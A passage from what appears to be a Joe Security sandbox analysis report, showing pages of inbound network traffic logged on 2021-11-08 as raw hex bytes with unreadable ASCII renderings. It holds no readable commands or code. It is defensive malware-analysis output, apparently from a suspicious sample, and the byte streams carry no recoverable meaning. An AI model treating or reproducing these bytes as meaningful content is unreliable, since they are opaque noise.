8a f9 af a2 69 b5 a6 5a 97 ac fb c5 ec 6a fc 5d fe 2b 0c 10 f0 76 32 ba 07 09 00 1a 56 dc c5 17 c4 d6 e8 c6 b4 a6 6d aa a8 c8 0e 17 43 a4 a8 6f f1 b8 71 9a b9 c1 9c 6d dc 47 61 aa 12 c3 dd de c8 b8 da 53 20 b5 8b b2 4e 80 c2 76 c3 46 Data Ascii: Ni|xY^WXV:iU"jXh9v5]7~`}qOUY|=Y"P4w/!Gf%Q~il<JA8dT@YU|O'._.H<epya;iZj]+v2VmCoqmGaS NvF

2021-11-08 19:52:39 UTC 2936 IN Data Raw: fa 94 c2 ac 27 e9 3f 0b e0 47 46 92 88 b6 e1 a0 2e d8 52 0c 64 94 38 38 14 13 e6 a0 e1 59 e3 39 d1 57 49 19 ef fc f5 cd 8f 5e 37 af 0e 71 4e e3 5a 1d 9a d0 99 4e a2 1c 87 af 4b 02 19 77 94 53 87 90 3d 11 5b a9 97 37 3e 82 ee e6 23 08 1e 71 93 e0 1f 03 bf 0e dd d4 4f 7f 62 30 95 80 31 19 28 e7 17 e2 5e cb f4 68 98 e7 7f 93 92 b4 4f 5a cb 55 bc 0e 8b 42 28 5b 80 31 9f 25 69 a2 c3 0a 71 2f f9 09 b9 d5 83 21 c2 9a 5a ce e0 d8 44 68 94 c1 30 b3 6e 15 1a 8e 19 59 64 e7 28 25 22 32 5a e1 4a a9 6e 60 50 52 a8 8e 16 fe db df fa 63 53 21 41 05 c9 55 0f e6 01 e4 78 12 89 c8 d2 53 8c 1f a5 cd b7 b8 fa cb f7 20 27 bc 99 f9 56 c7 f1 4a 32 86 8e 6c e5 ea 3d 2b 1e 2d fb ce 23 6e 7a 61 c2 87 8a 5f 0f aa 6d de a2 60 1d 22 37 e8 43 b5 7c b5 f9 b6 06 bf 94 b8 f4 0c 38 e6 d7 Data Ascii: '?GF.Rd88Y9WI^7qNZNKwS=[7>#qOb01(^hOZUB([1%iq/!ZDh0nYd(%"2ZJn`PRcS!AUxS 'VJ2l=+-#nza_m`"7C|8

2021-11-08 19:52:39 UTC 2952 IN Data Raw: c2 ea 37 26 71 8e 20 05 74 23 1d 6c a3 9f 69 ec 53 2b ce c0 64 93 c3 63 84 9f eb 00 ed 27 b4 a8 f0 c0 dd e6 8e a6 a0 ef b1 ec b9 99 95 fd 9a a4 c8 fc a6 fe 0a e2 67 44 85 aa db 3a fe 9c 02 1a 87 62 40 78 75 aa ad 5f 7a 43 6e d0 80 0a f9 93 2b 64 ed ca 46 71 75 0a e0 cb 25 ba b6 03 28 84 7d 35 ac 62 95 fe ad 99 1b 09 80 37 21 49 52 90 72 03 5a 86 4f 0c 81 ce 0e a8 16 84 ff 51 da cf c9 e2 1f dd 58 81 3c 83 80 d0 46 53 b7 b5 d7 26 2d 12 04 01 9e b2 bf 80 56 e0 7b c8 fd 11 a1 b1 66 8d 5b bc b1 25 9a e2 23 b8 2c 4c 1e ff 41 5f cd 71 ad 1e b0 82 34 9f c9 95 5a bf c4 41 92 5a d0 76 31 5a 03 6d 1d 44 89 9a c9 81 37 61 85 be 35 ba 87 e8 7a 4d dc a6 af 1a 36 49 4f 33 50 ff 6b 37 b0 ea 52 a1 fd 7f 98 43 99 14 ef 74 89 c5 82 6f 0a b7 1a 2b ac d7 4f 81 0e 05 aa 04 bd Data Ascii: 7&q t#liS+dc'gD:b@xu_zCn+dFqu%(}5b7!IRrZOQX<FS&-V{f[%#,LA_q4ZAZv1ZmD7a5zM6IO3Pk7RCto+O

2021-11-08 19:52:39 UTC 2968 IN Data Raw: 70 ea 77 27 0b ba e2 af ed 3e 87 00 3f 89 6e 3b 7c 40 99 97 f9 55 93 f8 05 5f 7a 48 b9 a4 1e 16 fe f9 19 7f d2 40 1e 04 09 39 95 51 5d 60 3d a1 a6 dc 5e a0 d6 d0 3d 53 77 ac e3 81 74 21 72 f5 72 d8 f8 6e f4 d6 95 49 19 d5 e3 c6 86 94 62 56 46 47 50 a6 07 1f 0e 1d 80 4c fd e9 ce ac 0f 68 b6 5d 5d ef 00 df 2a f8 92 ce 8a f1 38 48 a3 5c d0 34 e4 55 be d6 ca ce 9a 78 f9 f6 96 ac 9a 8a 5f b5 c3 96 c2 4b 03 0b f6 57 76 35 8d ac 4c 6d d6 98 97 20 e0 c5 f7 93 ea d7 2e 05 64 8c d5 aa 13 48 f3 47 a7 b1 23 0f d9 ab c0 8b 66 12 84 7f 64 fa b3 69 3f d5 b3 0a 2e 34 2e dd 75 22 17 4a 2e 87 e3 ef ff f3 f7 bb 4c bb 11 6e 01 9c 14 f3 64 fc 21 8b 05 7e 50 bf 5d d0 cc bf f7 a9 bc 25 57 e7 2d 60 88 9b 9f b1 27 d5 25 60 68 88 e2 b3 9b 0b 05 34 f3 20 73 fc 2e 49 7e 55 4d f7 2b Data Ascii: pw'>?n;|@U_zH@9Q]`=^=Swt!rrnIbVFGPLh]]*8H\4Ux_KWv5Lm .dHG#fdi?.4.u"J.Lnd!~P]%W-`'%`h4 s.I~UM+

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 39 of 51

2021-11-08 19:52:40 UTC 2984 IN Data Raw: ad 25 80 8c e5 74 68 3e 72 0d f5 a5 9a e3 af 74 c4 0c aa 8f ce 88 a2 6f 91 5c 57 e4 56 c7 d4 71 e1 bd df 9b 51 44 cc 72 74 f5 ab ef 45 d7 06 ee 0d 8c 4d 6d 8f 69 6c e0 bc ef 71 b8 6c ac a0 28 38 ff 87 c9 c5 a0 69 b9 5e 33 83 0a b9 e4 26 ca f4 0a 17 50 ea 3e 26 d3 06 32 7c 24 bb 07 db c3 f9 20 99 58 69 e9 cc c5 e7 69 e1 34 11 54 d7 45 3f 5e ac 8f 2a 11 7a 43 37 52 46 d7 72 c5 42 b4 92 fb 31 8c ad 62 f3 0a 2d 3e 3c d9 d0 81 78 bf 42 b9 36 9c 8c 8a 32 7d 5c 38 bf 71 8c 4f d1 ec 1f 2a e0 3a 35 5c 18 6b f4 f7 e2 be ec 89 de 45 27 2f 06 ae 64 99 39 f2 9d e3 b5 3a 13 46 b5 41 ad 00 e3 8d 10 35 52 e9 12 32 62 ee 64 95 00 40 ed 82 9c 03 27 db 21 1e e4 f9 26 55 88 a8 1b e3 cb ea 60 92 16 fe 61 5e ff 96 7c 42 12 89 f1 85 99 25 45 47 b2 f5 b8 a5 8e 35 e7 5c 4e 6e bb Data Ascii: %th>rto\WVqQDrtEMmilql(8i^3&P>&2|$ Xii4TE?^*zC7RFrB1b-><xB62}\8qO*:5\kE'/d9:FA5R2bd@'!&U`a^|B%EG5\Nn

2021-11-08 19:58:45 UTC 3000 IN Data Raw: 11 fd 89 23 72 8d 26 44 d0 11 c5 b6 50 62 92 f8 95 99 f7 c1 16 ed e9 9d d8 fe 48 df 85 5d fb 37 fc 9b e7 8f 88 ff d2 3d 87 f8 a1 b8 24 3e e2 9b db f9 86 24 01 47 86 82 53 b4 c4 e4 36 ac 26 09 a8 ed d6 39 82 a7 fd 6d 82 7e f4 f7 77 58 aa 35 82 24 82 6c 45 e3 4e 86 08 a3 c1 9d 56 a3 dd 8d a5 0b cb 80 18 5d e0 c6 79 88 4a 5e 33 84 8e 73 52 cf ff aa d9 e4 59 fa 11 bf 88 9c bc f2 af db 04 17 92 9f 75 29 6d 92 5d a0 9e 3f e7 05 58 b6 2a 39 99 b5 fb 75 f2 48 2c 60 27 08 fb 03 7a 13 ce 66 0c fb 14 10 48 95 30 bf 65 3b ec fb 01 02 4e bc 8c 63 31 52 6b c6 ce 14 61 a8 1b a0 83 1a 77 d4 7e 0e 55 33 8d e6 f6 39 af d5 3c f2 dc 66 aa ae 6d f0 b7 22 ea 97 ec 7a 81 b6 a6 95 f8 e9 c2 18 ca 30 89 42 c3 62 e5 23 1b fa 36 e1 0a 36ca ab 76 3b 91 69 91 2f 81 6e 04 76 93 78 f5 Data Ascii: #r&DPbH]7=$>$GS6&9m~wX5$lENV]yJ^3sRYu)m]?X*9uH,`'zfH0e;Nc1Rkaw~U39<fm"z0Bb#66v;i/nvx

2021-11-08 19:58:45 UTC 3016 IN Data Raw: ec 15 57 b5 02 b8 56 59 ed 25 57 6b ee 5f fd b0 77 bc 68 3d e8 44 cc ef 97 02 cf f8 91 00 4c 3f 30 9d 85 ab 41 7d 2b 3a bb 2a 84 d2 6f 73 0d 94 22 c3 d4 51 1c 01 59 a1 f3 46 2c f4 f9 5f fb 4a 05 7e 2c 47 55 34 c0 f1 07 85 98 6c 36 2e 6d c8 7c 92 2a 47 8f f6 18 84 02 d3 5e 24 bf 9b ed 4c 87 be ee 63 00 d3 fa ec 78 d6 43 99 f9 2e 67 19 b4 da d4 f8 ab 23 4b 51 fe a5 1e 7a 05 40 34 11 35 75 22 d6 3e a8 c1 ae ce ce 2d cf 2a 72 02 db c2 41 4c 46 f1 b0 ee c1 b7 72 6a f1 db 8b ee 4c c2 52 fd 99 40 76 96 1b 77 b7 52 c9 8a 17 d1 b1 db 9e ce 0a 42 1c c9 f7 91 9c d2 a4 da 9d 24 3d ed 24 7d 65 37 59 1a 5f 26 82 db 2a c6 75 60 6d 0f 41 5e 0e 3c 29 35 bf 86 d3 96 0a 98 a0 92 90 a0 b9 83 12 dc bf c4 eb ee 44 2e ea 2d 77 85 11 fe 1c 5f b5 3f 0f d0 a0 74 6b 86 48 c0 2f 0c Data Ascii: WVY%Wk_wh=DL?0A}+:*os"QYF,_J~,GU4l6.m|*G^$LcxC.g#KQz@45u">-*rALFrjLR@vwRB$=$}e7Y_&*u`mA^<)5D.-w_?tkH/

2021-11-08 19:58:45 UTC 3032 IN Data Raw: b0 13 fc 15 8b 4b 4f 2a 77 3b 13 bf 17 fb 05 2e 7d e0 30 e0 b1 df cc e1 97 6d 95 d3 9e ef 0c f0 99 34 39 96 58 7b fb 34 9c aa 12 34 84 da fa bc 49 02 88 c6 a4 a4 52 55 77 61 ad df 6e 53 9e 05 79 84 e6 08 b5 ec b7 cd 62 1e 1b 4c 0f 66 e7 f9 1b e8 8c 5a ad 1b 0a 19 3e a5 80 81 1c 31 4f 0b 38 1b 91 4e 4c da 42 39 97 13 ae b1 3e 75 b5 55 04 9e 2a cd e4 40 8e 41 91 70 55 09 56 e5 7e dc f1 7b a3 02 2f 90 07 e0 96 83 d9 ac de 75 78 c4 a9 a7 a1 46 b6 f9 9c fd 93 55 f4 71 12 67 74 cf 27 14 4c f1 65 5d 94 04 6a f4 f5 21 7b dd 84 84 0f 1b 2a 74 bb d8 44 ee d6 0e 79 a1 ce 62 f7 14 a8 6b 5f 0e 3a 02 e7 37 f4 f8 4b 67 db 7e c0 be 3c f9 94 d3 97 80 76 89 d0 67 aa 2d ef b7 9e 75 63 1f 46 b5 f5 7a e8 7a ca 08 8e e5 ae f5 46 75 b4 fe 86 2d 53 7b d8 0f 84 9c b3 7b 6a 6c 50 Data Ascii: KO*w;.}0m49X{44IRUwanSybLfZ>1O8NLB9>uU*@ApUV~{/uxFUqgt'Le]j!{*tDybk_:7Kg~<vg-ucFzzFu-S{{jlP

2021-11-08 19:58:45 UTC 3048 IN Data Raw: 77 48 3f 01 0a 55 1a 6e 6b 2c f7 47 1b 1c 64 77 56 b7 54 c0 49 6a 5b 8b 35 e8 de 2c 52 d2 e8 33 ba fe a5 5e c1 b8 a9 95 69 15 09 e4 d2 37 2c 73 2a 2a eb 52 7e 2a 0d 4b 55 86 c9 74 0a b6 e4 ad 6a cd 54 d7 e2 cd a7 b2 3c d7 00 20 c2 8d 5c b9 22 4a 7d 5f 74 f5 b3 75 d0 7c 83 8c 04 62 a4 91 b1 50 54 3e 96 51 d2 eb 1a ed 7d 99 7d da fd 18 d2 c5 bc eb 34 e9 6b 6d 9b b0 f6 ff d8 e3 f9 51 b3 f1 45 74 f0 af c5 5a 6d 85 c5 89 41 29 08 6b 27 c3 cf 38 ea 7a d5 6b d1 3d 43 86 aa 31 16 2a 50 72 0c 8a 9c 0d db fb d5 21 5d 78 5c 5f 60 c5 86 6a 22 4b 80 7b 87 1b 77 c0 f7 66 bb 2e 42 b6 60 6d cd 95 12 7d 26 af f0 04 0a 31 dc 22 fe 7c d9 f4 33 f0 ca a2 e9 89 a2 fc 5d d3 f8 17 d5 e9 64 42 6b 88 f3 e0 93 96 76 cd 46 97 fc 4d 21 56 64 c0 73 bf 7b 6a 7b 30 e2 69 dc 66 0b ab dd Data Ascii: wH?Unk,GdwVTIj[5,R3^i7,s**R~*KUtjT< \"J}_tu|bPT>Q}}4kmQEtZmA)k'8zk=C1*Pr!]x\_`j"K{wf.B`m}&1"|3]dBkvFM!Vds{j{0if

2021-11-08 19:58:45 UTC 3064 IN Data Raw: ce 25 69 e9 e3 fa ee e8 a0 10 69 17 f5 1f f6 40 bf 42 8e b3 08 aa 24 97 bf 49 8d 3d 41 78 26 ec 47 a5 12 8f c5 e4 dc f7 95 36 c5 49 ef 69 52 0d d3 88 28 e2 a3 8b 56 97 f9 ad 52 25 9d 6a 6c 13 3d 05 fb 21 9d 75 41 d1 76 f9 ec 7b d4 1b d9 72 cd 6d 03 c5 5d 8a d1 ee af 35 a5 d9 30 62 51 ec 40 66 2a 1a 18 25 0c 62 82 b8 e8 54 c8 ba 44 89 79 5f 46 b8 6a 80 45 cd 55 82 b5 3c aa f6 64 e2 9c c3 c6 7c 59 d8 92 1e 19 c0 7c 24 2c 0d 7f 86 af 31 fa 47 32 e1 00 99 48 7b 56 67 a5 da 93 d8 a9 12 c1 4a 1e 04 dc 83 51 27 36 a7 e3 80 23 a8 25 75 f5 74 ff 72 28 02 87 83 3f 00 4f 2d 8c c0 ca c3 e5 f6 f5 d3 c5 b6 56 0f 4d f2 d4 6a 00 a6 c3 cf 62 73 72 08 72 d2 6d 46 1b 89 8e f8 95 e0 d8 9f 5a f0 1d 59 f2 78 ff 96 ef b9 99 4c 6e 34 6d 4e 4f f3 73 dc 4d 8b 3f a9 53 c7 44 03 7d Data Ascii: %ii@B$I=Ax&G6IiR(VR%jl=!uAv{rm]50bQ@f*%bTDy_FjEU<d|Y|$,1G2H{VgJQ'6#%utr(?O-VMjbsrrmFZYxLn4mNOsM?SD}

2021-11-08 19:58:45 UTC 3080 IN Data Raw: 41 f4 a7 65 12 65 d8 f9 dd 97 8a 46 2c 8f 38 0a 3e 9d 54 2a 94 0c 97 c3 1f a5 26 78 0c 36 0d 8f ef 19 05 1a 68 15 85 0a 19 17 3c 38 d2 ae a9 0e 6f b8 9d 37 87 08 54 fb 2c 99 c3 52 87 54 78 01 bc 34 f1 d2 f1 40 0c f4 a0 57 a1 ec c0 7a cb fc 43 e5 e1 33 23 d4 14 00 63 18 a9 4d 8b be 26 b3 21 5f 34 a9 66 39 ef a5 45 ee ae d1 22 b6 15 67 24 c3 0a 6e fa ad da d4 21 55 09 ab b4 e8 bb c7 06 3f a5 7a 94 cd a8 bf e4 4c d8 28 20 76 f8 c5 38 ea d0 7c 86 77 9f 3e 2d c0 7c a5 5b f7 9e 24 1a 1a 65 50 77 1c ea dc 39 85 e0 be 91 94 70 37 01 8f 94 5d 33 0a 87 fc ab ff 52 cf 38 41 be a1 b9 ed 21 aa 10 cd ad 3f 90 4d 5a ff 9a ae 0f 22 ee 98 da c4 49 2f 4e c0 76 6a 4c 75 f1 f1 e8 d5 d4 f6 df 1f 61 39 f3 4a 5a 21 19 a0 6a 3f a8 b4 11 ea 37 9c 0e 7b 4b 95 c8 93 7e 13 f5 c9 a0 Data Ascii: AeeF,8>T*&x6h<8o7T,RTx4@WzC3#cM&!_4f9E"g$n!U?zL( v8|w>-|[$ePw9p7]3R8A!?MZ"I/NvjLua9JZ!j?7{K~

2021-11-08 19:58:45 UTC 3096 IN Data Raw: a2 f5 e4 c3 55 ee c4 18 ad 73 6b e8 4a 46 32 00 25 10 fe 51 3c 18 36 47 a0 2c 68 11 1b 8a 0c 44 46 e3 bb 1e 7c ce 7d 37 7c 28 e2 20 fb 04 dc 1a f9 10 1d 2d 3b 80 1f 96 a6 4f db cb a0 b7 24 0c 03 79 cf ce f3 d5 3e f9 85 4c 15 d5 46 13 b5 7b 7b d6 45 40 79 d9 e7 bb b5 8d ed c8 f4 99 8f 8d 03 60 04 02 6e 52 df e9 6f a3 09 e4 03 bc 56 3a e3 be 15 3f 58 df c1 c7 86 09 59 3b cf 0a 97 ce fa 9a 47 9d 61 e6 d0 67 46 70 e4 9a 20 d5 a9 be ed 25 fe 25 ac 4e f5 9d c1 8d 85 5e 4c ce eb d2 1d 9f a6 23 1b 96 7c 31 fe 20 2a 8f 20 67 6c 8b 85 2c 3d 38 f8 2d 0e 7f 17 d8 d7 29 d3 0e 35 3e 2a 8d 91 01 c6 48 85 08 db fa 08 01 9d 02 98 e2 d9 89 d3 97 64 d6 43 05 1b fb 34 74 06 ac 70 f8 6c 46 8b 8a 27 35 e2 1d b1 03 25 7f 54 eb c4 31 73 fe b5 80 24 ac d6 44 3e 66 23 36 2e 1c 44 Data Ascii: UskJF2%Q<6G,hDF|}7|( -;O$y>LF{{E@y`nRoV:?XY;GagFp %%N^L#|1 * gl,=8-)5>*HdC4tplF'5%T1s$D>f#6.D

2021-11-08 19:58:45 UTC 3112 IN Data Raw: 40 27 2d fe 4a 44 49 84 b8 2d f3 0d 25 54 1f 6b 90 77 7c 0d 4a 8f a3 a9 95 7d 47 94 39 18 5a a1 83 f6 65 b0 a6 e8 c0 34 75 2b 47 d3 2a b9 d5 66 ff 99 b4 aa e0 86 5a e1 8e 68 9a 13 f9 db 63 dc e3 2b 2d 18 81 8c b7 05 16 ed b3 cc 91 88 50 f8 e5 c0 8a b6 11 12 df 4a ee 66 d2 f0 d8 e2 4d 05 72 6b cd 0c 0b fe 0f 0d ad af 9f 93 b9 b0 fb c6 4c 85 45 07 10 f4 5f 01 28 a6 4b 80 dd 58 8c 79 62 1a fc 40 fd 19 f6 92 ca 65 99 48 cb 28 cd 3a fa 06 5f db 47 d3 56 9f 2c b9 c8 59 eb 25 71 68 c8 d6 04 38 71 43 bd 8c b3 29 a8 e6 4d bd 1f b9 3c 72 95 89 7e 64 d6 32 ca 62 2e 70 b0 4f ce 83 78 e8 a3 a5 05 3c 93 c8 b6 88 17 f6 1e 59 b9 5f ea c4 83 94 be 10 b6 3d 61 96 63 c6 ab 36 73 73 37 eb c3 b0 01 e2 f2 99 b2 7f e2 10 86 f6 c9 01 ff 88 f4 7e bb 65 db 49 f0 65 0f f4 b9 ce 54 Data Ascii: @'-JDI-%Tkw|J}G9Ze4u+G*fZhc+-PJfMrkLE_(KXyb@eH(:_GV,Y%qh8qC)M<r~d2b.pOx<Y_=ac6ss7~eIeT

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 40 of 51

2021-11-08 19:58:45 UTC 3128 IN Data Raw: ed 35 9f 1f 82 ee fd f0 f9 d5 e6 b3 08 f0 6d f1 fe 99 1f 0f f0 d9 da b9 e2 47 84 2f 23 3b dc 59 7e aa 3f 30 fe 44 b2 75 a3 54 b9 a6 5c 42 41 8a 79 9d 20 da f7 1d c0 10 44 be b7 ee b5 64 fb f0 c3 f3 e1 45 75 79 04 72 50 52 3d 86 2c 19 16 2f 6b 38 46 45 66 bd 34 57 41 1e 43 95 a6 65 22 74 c2 dc 2e 77 fa f9 03 f6 3d d8 15 22 6b 26 6f 8c 2f 3b d9 9d 5f b2 aa 59 ec 23 8a 61 bf 0c 0e f4 0f 0b ee 2f 65 e3 4c 9f 82 f2 55 0e c1 c9 74 b9 40 72 3b cf 80 7d 29 1f 2e 30 a2 26 b3 87 8f af b4 0d c8 8b fc 2d cc ea 62 74 4c 89 be 47 dd 12 ee eb 7b 22 b4 68 0e 8e f1 4d 07 25 f1 2f 7f 9a 27 88 b4 9b d7 b4 39 37 29 0c de f3 99 e5 c7 bb 70 3d 26 2f 5d fe 38 14 7f 6b eb 0c 71 71 0b b4 7e 45 d0 03 4a ce 16 64 4f dd 7d ff 50 51 e9 e3 d9 18 09 92 83 a6 92 f1 90 eb 49 dd 0e 72 cf Data Ascii: 5mG/#;Y~?0DuT\BAy DdEuyrPR=,/k8FEf4WACe"t.w="k&o/;_Y#a/eLUt@r;}).0&-btLG{"hM%/'97)p=&/]8kqq~EJdO}PQIr

2021-11-08 19:58:45 UTC 3144 IN Data Raw: 75 9f 43 29 84 8c 60 a6 7d cb 5f 81 71 0b e1 ed 90 5d 8b ca 30 63 54 11 6d c5 49 60 97 31 02 72 f1 b2 69 11 3f1f ce 9a 4c c9 58 37 11 18 58 e2 be 60 c9 08 6a a2 ae 6a cc 78 e8 39 33 20 cc 69 b4 6f cf 7e 09 27 f5 27 85 80 db 58 a8 18 7a 7a 78 33 81 32 80 72 f2 76 f4 7e 52 de 7e 72 75 01 af d5 69 7c b8 59 71 04 13 fc fc 39 b8 47 fe 85 fe f9 03 96 8d 4f 1d 1c 21 60 1f 8e ae 2e f9 6d 3c 1a ff 0e 00 20 f7 d6 6d c6 8d e4 25 84 2a 68 7f d4 69 e8 eb 0d a2 a3 8f 4e fb 05 5d 59 4c e3 d7 15 3a 65 3c 92 73 61 b9 aa 53 c4 1c ee fc 70 9d d5 e1 80 2d 80 f0 da 55 f8 0f a7 b7 a8 db 61 c7 1e ae 3d ed ba c2 54 66 86 bd 49 44 e9 09 44 15 04 90 45 41 38 55 a5 c0 bf ec 1c 21 b8 35 28 a3 43 71 ce 8c 47 7a ef 51 a3 aa e6 32 79 0b b1 04 fd b8 91 83 69 6e ce 26 7c 38 28 34 ed c1 Data Ascii: uC)`}_q]0cTmI`1ri?LX7X`jjx93 io~''Xzzx32rv~R~rui|Yq9GO!`.m< m%*hiN]YL:e<saSp-Ua=TfIDDEA8U!5(CqGzQ2yin&|8(4

2021-11-08 19:58:45 UTC 3160 IN Data Raw: 4a 56 e2 44 c1 ba 8c 80 01 69 8c 1e 09 db 68 84 83 04 70 90 3c c1 09 8e 24 90 9f 03 2d 07 69 68 53 84 bb 0e 9a bf 19 1b 56 95 cd 92 42 89 68 41 20 a7 8a 76 e4 f4 36 00 b7 bc de 52 39 13 0d 4d 36 dc 35 94 33 45 cf 44 84 85 38 2d 1c 53 3e 17 cd b1 b5 30 69 0a a3 44 79 2a 3d 48 a2 aa a5 74 b7 4b ad b7 43 df 5d d2 be f9 e6 a9 2a 5b ed 03 18 34 b8 35 42 15 55 b8 d5 be 98 62 67 f6 04 c5 f4 56 a6 4d 72 c8 b8 5a 4c e3 64 6b 03 82 0c c9 21 1f a7 88 82 1f 32 43 c0 a9 21 53 91 6a ad 45 96 87 c2 b4 27 5c 0c 42 6e 45 20 b9 93 6a b9 da 9c 55 91 d6 e4 c8 8e 02 57 02 33 bf c3 00 91 75 74 7c ce f8 88 be cc c3 b1 a6 83 04 a4 82 05 fe 55 2d 25 e7 b9 5d d5 24 c6 38 c2 66 b6 ee 0e e6 a2 5d 97 a3 c9 2d ee d4 5e 06 74 a5 aa 13 31 0e c0 8a 3b 56 d6 b1 cc d8 c2 49 28 7d 90 0b d4 Data Ascii: JVDihp<$-ihSVBhA v6R9M653ED8-S>0iDy*=HtKC]*[45BUbgVMrZLdk!2C!SjE'\BnE jUW3ut|U-%]$8f]-^t1;VI(}

2021-11-08 19:58:45 UTC 3176 IN Data Raw: 25 92 e5 7f 3b ce 07 ab 1b d6 e8 66 5c 72 15 01 62 98 98 29 56 3b 3f 9d 0f 7a ef 29 b4 e6 2d 42 c4 b7 76 e6 06 be aa c2 76 9c dc 12 f3 c1 af e1 ed 1b 2a 4e e0 8f 94 20 82 c5 a6 c1 66 f0 0d 08 6c 03 72 12 bc 57 ea e5 ba f9 06 7e fb fd 28 b8 1e 96 31 c5 a8 3e a9 56 b4 9e 4e 93 60 5e ab 7e ec 9d ec 1d 80 09 86 02 e0 54 3a 18 29 8e f0 22 3d 8f ba 9c cf 05 95 a3 1d a7 e1 86 fc 09 8f 74 fe 35 e2 d4 d0 ce 1d 23 74 25 bf 33 43 5a cb 9d 88 4b d9 93 00 89 b5 fe 46 0a 09 33 99 a5 41 62 db d2 15 5c c9 ab 92 49 98 d2 b6 a0 53 2a fd 68 84 1c 4b 49 00 d1 1b 81 97 e8 61 2b 63 a1 be b6 fa 3f af a9 8f 33 a7 47 36 c2 86 10 83 bc 9a cc 17 34 44 b5 c9 4d 15 87 75 32 b4 8f 4a e1 b6 a0 c8 88 fe 69 90 ca f6 10 f6 17 8b 48 82 33 c7 b9 b7 7f d2 48 39 34 6d 95 0d 8f 0c 6f d9 e2 bc Data Ascii: %;f\rb)V;?z)-Bvv*N flrW~(1>VN`^~T:)"=t5#t%3CZKF3Ab\IS*hKIa+c?3G64DMu2JiH3H94mo

2021-11-08 19:58:45 UTC 3192 IN Data Raw: f8 e8 d6 05 34 68 ce 5e 53 a3 dc 39 6e 1f b3 b0 dc 9d b2 0a ea d7 71 1d 30 3f e9 6b 91 2b cf 83 fd b0 a1 24 a0 fd 89 c5 ee 44 7c 4a ed 10 6a 8c 80 06 6b 0e 59 5b 9e 9d f3 e1 68 ed 1b 92 ad 37 4b ae d8 a3 07 64 52 e1 dd e8 2f 53 2f f9 1a 8d 52 c1 e6 2a 27 b3 86 bc 74 2a 4e 52 81 9f a9 d3 0f 55 d7 e0 ea 80 29 43 5e 51 4a f6 6f fe 5e 58 c7 6c 16 41 48 8f bb 54 ca d4 24 c9 1f 81 55 e1 22 29 82 e5 e7 36 aa 1c e1 0d 9a a9 90 6d f5 55 45 2d a8 2f b1 e1 6a f7 af 7d 14 ed 36 d8 6e d4 6a c2 41 6c e8 85 f4 79 5e a8 8a eb 35 23 99 cd ee 64 7a 7d e8 34 b4 ef 9c e2 a1 76 3e e1 44 9d f7 45 d6 c3 15 c5 1f 17 02 c6 c1 bd 20 cb b1 35 46 63 6e 2c 8f 3f 1b 43 1a ab ba 75 a1 54 98 51 38 2a fd f7 05 91 1e 71 58 2d 46 be 3f d7 6a 82 d7 7a 62 57 6e 9f a8 f2 d4 83 12 7d 40 67 7c Data Ascii: 4h^S9nq0?k+$D|JjkY[h7KdR/S/R*'t*NRU)C^QJo^XlAHT$U")6mUE-/j}6njAly^5#dz}4v>DE 5Fcn,?CuTQ8*qX-F?jzbWn}@g|

2021-11-08 19:58:45 UTC 3208 IN Data Raw: 11 78 d8 cb 11 29 cb 00 bb e5 ef 67 3d dc 34 21 ad 7a 1e 45 fc 5d 6d d3 43 62 31 44 53 3d ac 84 4a b5 b6 69 6a 95 78 4d cb be d2 ba fe 07 46 76 74 d0 43 2f 69 d4 ff 9c 10 b7 8b ee 96 a2 b1 04 72 83 00 f2 b4 94 d7 b2 a6 d5 5f b6 7b 50 0c a3 38 20 0c a0 b9 81 c0 ff 4f 05 27 25 84 1c a9 6d 0d f8 2c 2f ed 54 9d 82 e9 c0 3d 34 ce 6a c2 18 91 2f 48 38 96 a9 e8 61 41 ea e5 ba 74 45 a3 2b 4f d8 80 11 91 c9 30 a0 09 74 77 08 09 c3 03 4c ec 7f 9d fe 50 f4 f3 a8 4d 0d 64 a2 71 27 cb 96 be 7d 8d e6 92 87 ad de 26 e9 9d 74 9f 3b e7 b5 aa 17 fd 34 4a 54 4b 3e 2f bf 91 61 00 9a 40 ad 9b 15 0e f7 dd b5 46 d9 a5 c1 26 68 01 77 09 ab 55 52 42 5f 41 2b 87 71 9f 2f a0 21 72 07 d3 f1 55 82 e2 97 42 c3 27 5c 8b fa e1 11 8f 7372 3a 70 72 34 84 00 34 d2 b0 eb 22 6d b1 21 4f c8 Data Ascii: x)g=4!zE]mCb1DS=JijxMFvtC/ir_{P8 O'%m,/T=4j/H8aAtE+O0twLPMdq'}&t;4JTK>/a@F&hwURB_A+q/!rUB'\sr:pr44"m!O

2021-11-08 19:58:45 UTC 3224 IN Data Raw: 9a a8 e6 24 be 11 9a 68 4c cf db 88 31 6e f1 8f be d5 1a 96 39 5d dd 24 6a e3 e8 3c 9b 3e eb bf 43 70 1e 01 1c 23 92 67 ee f0 d7 ba af ea e3 0e f6 97 23 c3 05 32 53 58 61 de 7c 87 92 5b 37 4e c3 a7 ff 87 91 bc 73 29 95 8d 96 d3 0f 8f d0 20 0c f4 e5 49 65 b4 10 62 eb f8 74 20 ea 92 91 1b e1 18 2e 94 dd 89 e1 3c e4 0a 27 50 76 06 ce 7e 36 af 13 87 c0 72 e6 d8 6e 25 c2 f6 6e 7b f7 e1 66 93 ba e5 8c 53 c1 73 44 4f 75 40 97 f8 cb 6b 28 26 b5 7c 71 66 ec a1 b3 07 f3 ed 2a a9 d3 41 9b b4 e7 06 2c 97 3a 9b 70 5e 44 43 f4 44 e7 27 65 7f 94 4a 18 98 27 ec 28 a0 a4 d1 4a 3b 2e 38 5e 24 b0 6d fc d7 75 48 ef de 02 bf 2b c5 16 bd 92 09 85 20 ac 50 19 0f 15 bc 5a f0 0d 4a 02 bb f9 fc 82 36 a0 01 22 11 08 83 d9 d6 6a 00 e3 2b 6a 8b 49 aa 9d 1e 6d 69 73 d6 b2 a2 1e 31 28 Data Ascii: $hL1n9]$j<>Cp#g#2SXa|[7Ns) Iebt .<'Pv~6rn%n{fSsDOu@k(&|qf*A,:p^DCD'eJ'(J;.8^$muH+ PZJ6"j+jImis1(

